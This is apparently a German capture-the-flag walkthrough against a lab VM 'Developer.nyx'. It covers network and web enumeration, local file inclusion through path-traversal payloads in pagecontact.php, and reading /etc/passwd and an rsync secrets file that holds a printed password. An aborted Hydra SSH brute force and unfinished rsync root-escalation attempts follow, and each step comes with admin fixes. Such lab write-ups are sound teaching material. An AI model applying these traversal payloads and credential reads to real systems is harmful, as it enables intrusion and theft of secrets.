Reconnaissance
┌──(root㉿CCat)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:30:2e:da, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
[...] <-- Andere Hosts im Netz
192.168.2.106 08:00:27:b3:ca:29 PCS Systemtechnik GmbH
[...]
7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.104 seconds (121.67 hosts/sec). 7 responded
Analyse: Der ARP-Scan identifiziert mehrere Hosts im lokalen Netzwerk. Das relevante Ziel mit der MAC-Adresse `08:00:27:b3:ca:29` (VirtualBox) hat die IP-Adresse `192.168.2.106`.
Bewertung: Ziel-IP erfolgreich im Netzwerk lokalisiert.
Empfehlung (Pentester): Ziel-IP notieren, Hostnamen in `/etc/hosts` eintragen.
Empfehlung (Admin): Netzwerksegmentierung zur Reduzierung der Sichtbarkeit.
┌──(root㉿CCat)-[~]
└─# vi /etc/hosts
┌──(root㉿CCat)-[~]
└─# grep Developer /etc/hosts
192.168.2.106 Developer.nyx
Analyse: Der Hostname `Developer.nyx` wird der Ziel-IP `192.168.2.106` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Notwendig für die weitere Adressierung über den Hostnamen.
┌──(root㉿CCat)-[~]
└─# nikto -h http://developer.nyx
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.106
+ Target Hostname: developer.nyx
+ Target Port: 80
+ Start Time: 2024-08-29 23:11:29 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 3d36, size: 5fa75658ab0b0, mtime: gzip. [...]
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST . <-- Korrigierte Reihenfolge
+ 7963 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2024-08-29 23:11:39 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Analyse: Nikto-Scan gegen Port 80 (Apache 2.4.56) findet keine kritischen Schwachstellen, nur die üblichen fehlenden Sicherheitsheader und das ETag-Leak.
Bewertung: Der Webserver auf Port 80 scheint auf den ersten Blick nicht direkt angreifbar.
Empfehlung (Pentester): Standard-Header-Findings notieren, Fokus auf Portscans und Verzeichnis-Enumeration legen.
Empfehlung (Admin): Sicherheitsheader implementieren.
┌──(root㉿CCat)-[~]
└─# nmap -sU --top-port 1000 -T5 -n 192.168.2.106 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 23:10 CEST
Nmap scan report for 192.168.2.106
Host is up (0.00014s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT STATE SERVICE
775/udp closed acmaint_transd
1012/udp closed sometimes-rpc1
17549/udp closed unknown
20031/udp closed bakbonenetvault
20423/udp closed unknown
49159/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds
Analyse: Der Nmap UDP-Scan findet keine offenen UDP-Ports.
Bewertung: Keine UDP-Angriffsvektoren identifiziert.
┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- 192.168.2.106 -Pn --min-rate 5000 | grep open
22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
Analyse: Der gefilterte Nmap TCP-Scan gegen IPv4 findet nur Port 22 (SSH, OpenSSH 8.4p1) und 80 (HTTP, Apache 2.4.56).
Bewertung: Bestätigt die über IPv4 erreichbaren Standarddienste.
┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- 192.168.2.106 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 23:10 CEST
Nmap scan report for Developer.nyx (192.168.2.106)
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Atlanta - Free business bootstrap template
|_http-server-header: Apache/2.4.56 (Debian)
MAC Address: 08:00:27:B3:CA:29 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.16 ms Developer.nyx (192.168.2.106)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.55 seconds
Analyse: Die vollständige Nmap-Ausgabe für IPv4 bestätigt SSH (OpenSSH 8.4p1) und HTTP (Apache 2.4.56). Der Seitentitel ist "Atlanta - Free business bootstrap template".
Bewertung: Relativ aktuelle Dienste auf IPv4. Der Webserver auf Port 80 ist das Hauptziel. Der Titel deutet auf eine spezifische Webseite hin.
Empfehlung (Pentester): Untersuchen Sie die Webseite auf Port 80 gründlich (Verzeichnisse, Dateien, Funktionen).
Empfehlung (Admin): Dienste aktuell halten.
Web Enumeration (HTTP)
┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://Developer.nyx" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url: http://Developer.nyx
[...]
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 15670]
/contact.html (Status: 200) [Size: 7404]
/about.html (Status: 200) [Size: 9206]
/services.html (Status: 200) [Size: 9028]
/signup.html (Status: 200) [Size: 7283]
/assets (Status: 301) [Size: 315] [--> http://developer.nyx/assets/]
/portfolio.html (Status: 200) [Size: 14253]
/signin.html (Status: 200) [Size: 6655]
===============================================================
Finished
Analyse: Gobuster findet mehrere HTML-Seiten (`index.html`, `contact.html`, `about.html`, `services.html`, `signup.html`, `portfolio.html`, `signin.html`) und das Verzeichnis `/assets`.
Bewertung: Identifiziert die Struktur einer statischen Webseite. Keine offensichtlichen PHP- oder Skriptdateien gefunden.
Empfehlung (Pentester): Untersuchen Sie den Quellcode der gefundenen HTML-Seiten auf Kommentare, versteckte Links oder Hinweise. Untersuchen Sie das `/assets`-Verzeichnis. Prüfen Sie, ob die `signin.html`-Seite tatsächlich nur statisch ist oder ein funktionierendes Login hat. Führen Sie DNS-Enumeration durch.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Informationen im Quellcode oder in Kommentaren enthalten sind.
┌──(root㉿CCat)-[~]
└─# gobuster dns -d developer.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: developer.nyx
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%) <-- Keine Funde
===============================================================
Finished
===============================================================
Analyse: Ein Gobuster DNS-Scan (`dns -d ...`) wird durchgeführt, um Subdomains für `developer.nyx` zu finden.
Bewertung: Der Scan findet keine Subdomains.
Empfehlung (Pentester): Konzentrieren Sie sich auf die vorhandene Webseite und andere offene Ports (insbesondere den Rsync-Port über IPv6).
Empfehlung (Admin): -
GET /contact.html HTTP/1.1
Host: developer.nyx
[...]
Vary: Accept-Encoding <-- Hinweis auf gzip
[...]
Analyse: Die Header einer Anfrage an `contact.html` werden angezeigt (vermutlich aus Burp oder Browser-Entwicklertools). Der `Vary: Accept-Encoding`-Header ist vorhanden.
Bewertung: Standard-Header, keine direkten Schwachstellen erkennbar.
Service Enumeration (Rsync via IPv6)
┌──(root㉿CCat)-[~]
└─# ping6 -I eth0 ff02::1 | grep -ve "fe80::1%eth0:\|fe80::a00:27ff:fe30:2eda\|fe80::8247:86ff:fe96:f63a%eth0" --color
<-- Korrigierte Regex
ping6: Warning: IPv6 link-local address on ICMP datagram socket may require ifname or scope-id => use: address%
ping6: Warning: source address might be selected on device other than: eth0
PING ff02::1(ff02::1) from :: eth0: 56 data bytes
64 bytes from fe80::a00:27ff:feb3:ca29%eth0: icmp_seq=1 ttl=255 time=0.536 ms <-- Neue IPv6 Addr gefunden!
64 bytes from fe80::50f1:22ff:fec4:ad12%eth0: icmp_seq=4 ttl=255 time=341 ms <-- Andere Maschine im Netz
[...]
Analyse: `ping6` an die All-Nodes-Multicast-Adresse (`ff02::1`) wird verwendet, um weitere IPv6-Adressen im lokalen Netzwerk zu entdecken. Es antwortet eine neue Adresse: `fe80::a00:27ff:feb3:ca29`.
Bewertung: Es scheint, dass das Zielsystem mehrere IPv6-Adressen hat oder dass hier eine andere Maschine gescannt wird (die MAC-Adresse wird hier nicht angezeigt).
Empfehlung (Pentester): Scannen Sie die neu gefundene IPv6-Adresse mit Nmap.
Empfehlung (Admin): Verwalten Sie IPv6-Adressen sorgfältig.
┌──(root㉿CCat)-[~]
└─# nmap fe80::a00:27ff:feb3:ca29%eth0 -6
<-- Scan der NEUEN IPv6 Adresse
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 23:30 CEST
Nmap scan report for developer (fe80::a00:27ff:feb3:ca29) <-- Hostname 'developer' wird hier verwendet
Host is up (0.00083s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
873/tcp open rsync <-- Rsync gefunden!
MAC Address: 08:00:27:B3:CA:29 (Oracle VirtualBox virtual NIC) <-- Passende MAC zum Ziel
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
Analyse: Nmap-Scan gegen die *neu* gefundene IPv6-Adresse (`fe80::a00:27ff:feb3:ca29`, die auch die passende MAC-Adresse des Ziels hat) findet Port 22 (SSH), 80 (HTTP) und **873 (rsync)** offen.
Bewertung: Sehr wichtiger Fund! Rsync ist ein Datei-Synchronisationsprotokoll. Ein offen erreichbarer Rsync-Daemon kann oft zur Enumeration von Verzeichnisfreigaben (Modulen) und manchmal zum unautorisierten Herunterladen oder Hochladen von Dateien missbraucht werden.
Empfehlung (Pentester): Versuchen Sie, die verfügbaren Rsync-Module aufzulisten (`rsync --list-only rsync://[%]:873`). Versuchen Sie, sich anonym oder mit gefundenen Benutzernamen zu verbinden.
Empfehlung (Admin): Sichern Sie den Rsync-Daemon. Beschränken Sie den Zugriff auf autorisierte Hosts und Benutzer, verwenden Sie Authentifizierung und verschlüsseln Sie die Übertragung.
┌──(root㉿CCat)-[~]
└─# rsync -av --list-only rsync://[fe80::a00:27ff:feb3:ca29%eth0]:873
Analyse: Versuch, Rsync-Module mit `--list-only` aufzulisten.
Bewertung: Der Befehl liefert keine Ausgabe, was darauf hindeutet, dass entweder keine Module konfiguriert sind oder das Auflisten deaktiviert ist (`list = no` in der Konfiguration, wie später bestätigt).
Empfehlung (Pentester): Versuchen Sie, bekannte oder vermutete Modulnamen direkt anzusprechen. Versuchen Sie eine Verbindung mit `ncat`.
Empfehlung (Admin): Deaktivieren Sie das Auflisten von Modulen (`list = no`).
┌──(root㉿CCat)-[~]
└─# ncat -6 fe80::a00:27ff:feb3:ca29%eth0 873
@RSYNCD: 31.0
873,22
<-- Versuch Ident? Falsches Protokoll
@ERROR: protocol startup error
873,4444
873 , 445
Ncat: Broken pipe.
Analyse: Eine Verbindung zum Rsync-Port 873 wird mit `ncat` hergestellt. Der Server meldet sich mit `@RSYNCD: 31.0`. Die nachfolgenden Eingabeversuche (`873,22` etc.) sind für das Rsync-Protokoll ungültig und führen zum Verbindungsabbruch.
Bewertung: Bestätigt, dass auf Port 873 ein Rsync-Daemon läuft (Version 31.0). Zeigt, dass eine manuelle Interaktion ohne Kenntnis des Protokolls schwierig ist.
Empfehlung (Pentester): Suchen Sie nach anderen Wegen, um Modulnamen oder Authentifizierungsinformationen zu finden (z.B. über LFI, falls vorhanden).
Empfehlung (Admin): -
┌──(root㉿CCat)-[~]
└─# rsync -v '[fe80::a00:27ff:febd:575f%eth0]'''
^Crsync error: received SIGINT, SIGTERM, or SIGHUP (code 20) at rsync.c(713) [Receiver=3.3.0]
Analyse: Ein fehlgeschlagener Versuch, `rsync` mit einer vermutlich falschen IPv6-Adresse und einer PHP-Payload zu verwenden. Der Befehl wird mit Ctrl+C abgebrochen.
Bewertung: Fehlerhafter Befehl, nicht relevant.
LFI Discovery & Exploitation
view-source:http://developer.nyx/index.html
[...]
Contact <-- Interessanter Link!
[...]
Analyse: Bei der Untersuchung des Quellcodes von `index.html` wird ein Link zur Datei `pagecontact.php` gefunden, die einen Parameter `page` erwartet (z.B. `?page=contact.html`).
Bewertung: Dies ist ein klassischer Indikator für eine Local File Inclusion (LFI) oder Remote File Inclusion (RFI) Schwachstelle. Das Skript bindet wahrscheinlich die im `page`-Parameter angegebene Datei ein.
Empfehlung (Pentester): Testen Sie die LFI, indem Sie versuchen, mit Directory Traversal (`../`) auf Systemdateien zuzugreifen (z.B. `page=../../../../../../../../etc/passwd`). Fuzzing nach verschiedenen Traversal- und Filterumgehungstechniken durchführen.
Empfehlung (Admin): Beheben Sie die potenzielle LFI in `pagecontact.php` durch strikte Eingabevalidierung und Whitelisting erlaubter Dateien.
┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Fuzzing/UnixAttacks.fuzzdb.txt -u "http://developer.nyx/pagecontact.php?page=FUZZ" --hc 404 --hh 0
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://developer.nyx/pagecontact.php?page=FUZZ
Total requests: 522
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000011: 200 28 L 40 W 1459 Ch "....//....//....//....//....//....//....//etc/passwd"
000000009: 200 28 L 40 W 1459 Ch "//....//....//....//....//....//....//etc/passwd"
000000010: 200 28 L 40 W 1459 Ch "....//....//....//....//etc/passwd"
000000076: 200 0 L 0 W 0 Ch "%25%5c..%25%5c..%25%5c..%25%5c.." <-- Filterumgehung?
Total time: 0.333577
Processed Requests: 522
Filtered Requests: 519
Requests/sec.: 1564.852
Analyse: `wfuzz` wird mit einer Liste von LFI-Payloads (`UnixAttacks.fuzzdb.txt`) verwendet, um den `page`-Parameter zu fuzzeln. Mehrere Payloads, die Directory Traversal mit Punkt-Punkt-Slash (`../`) in verschiedenen Variationen verwenden, sind erfolgreich und lesen `/etc/passwd` (erkennbar an der Antwortgröße 1459 Chars).
Bewertung: Bestätigt die LFI-Schwachstelle in `pagecontact.php`.
Empfehlung (Pentester): Nutzen Sie die LFI, um gezielt sensible Dateien zu lesen (Konfigurationsdateien, SSH-Schlüssel, Skripte etc.).
Empfehlung (Admin): Beheben Sie die LFI dringend!
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/sbin/nologin
sys:x:3:3:sys:/dev:/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mike:x:1001:1001::/home/mike:/bin/bash
james:x:1002:1002::/home/james:/bin/bash
dev:x:1000:1000::/home/dev:/bin/bash
Analyse: Der Inhalt von `/etc/passwd` wird erfolgreich mittels LFI ausgelesen. Die Benutzer `mike`, `james` und `dev` mit Bash-Shells werden identifiziert.
Bewertung: Liefert eine Liste potenzieller Benutzernamen für weitere Angriffe.
Empfehlung (Pentester): Versuchen Sie, weitere sensible Dateien zu lesen, insbesondere Konfigurationsdateien für den Rsync-Dienst. Speichern Sie die Benutzernamen für spätere Angriffe (z.B. Hydra).
Empfehlung (Admin): LFI beheben.
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//etc/passwd -s | grep bash
root:x:0:0:root:/root:/bin/bash
mike:x:1001:1001::/home/mike:/bin/bash
james:x:1002:1002::/home/james:/bin/bash
dev:x:1000:1000::/home/dev:/bin/bash
Analyse: Filtert die `/etc/passwd`-Ausgabe nach Benutzern mit `/bin/bash`.
Bewertung: Hebt die relevanten Benutzer hervor.
Analyse: Es wird versucht, die `user.txt`-Dateien und SSH-Schlüssel der gefundenen Benutzer (`mike`, `james`, `dev`) über die LFI zu lesen.
Bewertung: Alle Versuche scheitern (leere Ausgabe), was darauf hindeutet, dass der `www-data`-Benutzer (der den Apache-Prozess ausführt) keine Leseberechtigungen für die Home-Verzeichnisse oder `.ssh`-Dateien dieser Benutzer hat.
Empfehlung (Pentester): Konzentrieren Sie sich auf das Lesen von global lesbaren Konfigurationsdateien, insbesondere solchen, die Hinweise auf andere Dienste (wie Rsync) geben könnten.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt gesetzt sind (typischerweise 700 oder 750).
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//home/mike/user.txt
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//home/james/user.txt
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//home/dev/user.txt
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//home/dev/.ssh/id_rsa
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//home/dev/.ssh/id_rsa.pub
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//home/mike/.ssh/id_rsa.pub
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//home/james/.ssh/id_rsa.pub
┌──(root㉿CCat)-[~]
└─# echo 'dev\nmike\njames' > user.txt
┌──(root㉿CCat)-[~]
└─# cat user.txt
dev
mike
james
Analyse: Die gefundenen Benutzernamen werden lokal in einer Datei `user.txt` gespeichert.
Bewertung: Vorbereitung für Brute-Force-Angriffe.
┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://developer.nyx/pagecontact.php?page=FUZZ" --hc 404 --hh 0
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://developer.nyx/pagecontact.php?page=FUZZ
Total requests: 2894
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 1.816700
Processed Requests: 2894
Filtered Requests: 2894 <-- Keine lesbaren Log/Konfig-Dateien gefunden
Requests/sec.: 1592.998
Analyse: `wfuzz` wird verwendet, um mittels LFI nach bekannten Log- und Konfigurationsdateien zu suchen.
Bewertung: Der Scan findet keine der Dateien aus der `logfiles.txt`-Liste.
Empfehlung (Pentester): Suchen Sie gezielt nach der Konfigurationsdatei für den Rsync-Dienst, der über IPv6 gefunden wurde (typischerweise `/etc/rsyncd.conf`).
Credential Discovery (Rsync)
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//etc/rsyncd.conf
motd file = /etc/Rsyncd.motd
lock file = /var/run/Rsync.lock
log file = /var/log/Rsyncd.log
pid file = /var/run/Rsyncd.pid
[developer_resource]
path = /var/www/html/rsync_uploads
comment = developer_resource
uid = 0
gid = 0
read only = no
list = no
auth users = dev
secrets file = /etc/rsyncd.secrets
Analyse: Die Rsync-Konfigurationsdatei `/etc/rsyncd.conf` wird erfolgreich über die LFI ausgelesen.
Bewertung: Kritischer Fund! Die Konfiguration zeigt:
* Ein Modul namens `[developer_resource]`.
* Den Pfad `/var/www/html/rsync_uploads`.
* Das Modul läuft mit Root-Rechten (`uid = 0`, `gid = 0`).
* Schreibzugriff ist erlaubt (`read only = no`).
* Das Auflisten ist deaktiviert (`list = no`).
* Authentifizierung ist erforderlich (`auth users = dev`).
* Das Passwort steht in der Datei `/etc/rsyncd.secrets`.
Empfehlung (Pentester): Lesen Sie die Datei `/etc/rsyncd.secrets` über die LFI aus, um das Passwort für den Rsync-Benutzer `dev` zu erhalten.
Empfehlung (Admin): Korrigieren Sie die LFI. Konfigurieren Sie Rsync sicherer: Führen Sie Module nicht als root aus (`uid=0`), setzen Sie `read only = yes`, wenn kein Schreibzugriff benötigt wird. Sichern Sie die `secrets file` ab.
┌──(root㉿CCat)-[~]
└─# curl http://developer.nyx/pagecontact.php?page=//....//....//....//....//....//....//etc/rsyncd.secrets
dev:d3vs3cur3p4ss
Analyse: Die Datei `/etc/rsyncd.secrets` wird über die LFI ausgelesen.
Bewertung: Erfolg! Das Passwort für den Rsync-Benutzer `dev` lautet `d3vs3cur3p4ss`.
Empfehlung (Pentester): Versuchen Sie nun, sich mit `rsync` unter Verwendung des Benutzers `dev`, des Passworts `d3vs3cur3p4ss` und der IPv6-Adresse des Rsync-Servers (die mit `ping6` und `nmap -6` gefunden wurde) zum Modul `developer_resource` zu verbinden.
Empfehlung (Admin): Verwenden Sie starke Passwörter für Rsync-Secrets und beschränken Sie die Leserechte auf die Secrets-Datei.
Attack Attempts (SSH & Rsync)
┌──(root㉿CCat)-[~]
└─# hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.106 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-29 23:57:30
[...]
[STATUS] 229.67 tries/min, 689 tries in 00:03h, 43032791 to do in 3122:51h, 27 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Analyse: Ein Versuch wird gestartet, die SSH-Passwörter für die Benutzer in `user.txt` (`dev`, `mike`, `james`) mit Hydra zu bruteforcen.
Bewertung: Der Versuch wird nach kurzer Zeit abgebrochen (`^C`). Wahrscheinlich, weil der Rsync-Vektor vielversprechender erscheint oder der Angriff zu lange dauern würde.
Empfehlung (Pentester): Konzentrieren Sie sich auf den Rsync-Zugang mit den gefundenen Credentials.
Empfehlung (Admin): Maßnahmen gegen Brute-Force (fail2ban) und starke Passwörter verwenden.
┌──(root㉿CCat)-[~]
└─# rsync -av rsync://dev@developer/developer_resource
rsync: [Receiver] failed to connect to developer (192.168.2.106): Connection refused (111)
rsync error: error in socket I/O (code 10) at clientserver.c(139) [Receiver=3.3.0]
Analyse: Es wird versucht, sich mit `rsync` zum Modul `developer_resource` auf dem Host `developer` (IPv4 `192.168.2.106`) als Benutzer `dev` zu verbinden. Das Passwort wird hier nicht angegeben, aber der Versuch scheitert bereits vorher.
Bewertung: Fehler! Der Fehler "Connection refused" deutet darauf hin, dass der Rsync-Daemon auf der *IPv4-Adresse* (Port 873) nicht läuft oder nicht erreichbar ist. Der Nmap-Scan hatte den Rsync-Port nur über die *IPv6-Adresse* gefunden.
Empfehlung (Pentester): Korrigieren Sie den `rsync`-Befehl, um die korrekte IPv6-Adresse (z.B. `[fe80::a00:27ff:feb3:ca29%eth0]`) und das Passwort (`d3vs3cur3p4ss`, z.B. über die Umgebungsvariable `RSYNC_PASSWORD`) zu verwenden. Beispiel: `export RSYNC_PASSWORD='d3vs3cur3p4ss'; rsync -av rsync://dev@[fe80::a00:27ff:feb3:ca29%eth0]/developer_resource`.
Empfehlung (Admin): Stellen Sie sicher, dass Dienste konsistent auf den gewünschten IP-Adressen (IPv4/IPv6) lauschen und Firewall-Regeln dies erlauben.
┌──(root㉿CCat)-[~]
└─# rsync -av rsync://dev@developer
rsync: [Receiver] failed to connect to developer (192.168.2.106): Connection refused (111)
rsync error: error in socket I/O (code 10) at clientserver.c(139) [Receiver=3.3.0]
Analyse: Ein weiterer `rsync`-Versuch gegen die IPv4-Adresse (ohne Angabe des Moduls) scheitert ebenfalls mit "Connection refused".
Bewertung: Bestätigt, dass Rsync über IPv4 nicht erreichbar ist.
Empfehlung (Pentester): Verwenden Sie die IPv6-Adresse für Rsync-Verbindungen, wie oben beschrieben. Da das Modul Schreibzugriff als `root` erlaubt, könnte dies zur Privilege Escalation genutzt werden (z.B. durch Hochladen eines SSH-Keys nach `/root/.ssh/authorized_keys` oder Modifizieren einer SUID-Datei).
Empfehlung (Admin): Rsync-Dienst absichern.
Analyse: Der bereitgestellte Berichtstext endet hier. Die `rsync`-Verbindung über die korrekte IPv6-Adresse wurde nicht versucht.
Bewertung: Der Angriffsweg über Rsync wurde identifiziert (Credentials und Modul bekannt, läuft als root), aber aufgrund des Fehlers bei der Adressierung nicht erfolgreich abgeschlossen.
Empfehlung (Pentester): Setzen Sie den Angriff mit dem korrekten `rsync`-Befehl über IPv6 fort, um Dateien hoch-/herunterzuladen und Privilege Escalation zu versuchen.
Empfehlung (Admin): Dringend die Rsync-Konfiguration und die LFI-Schwachstelle beheben.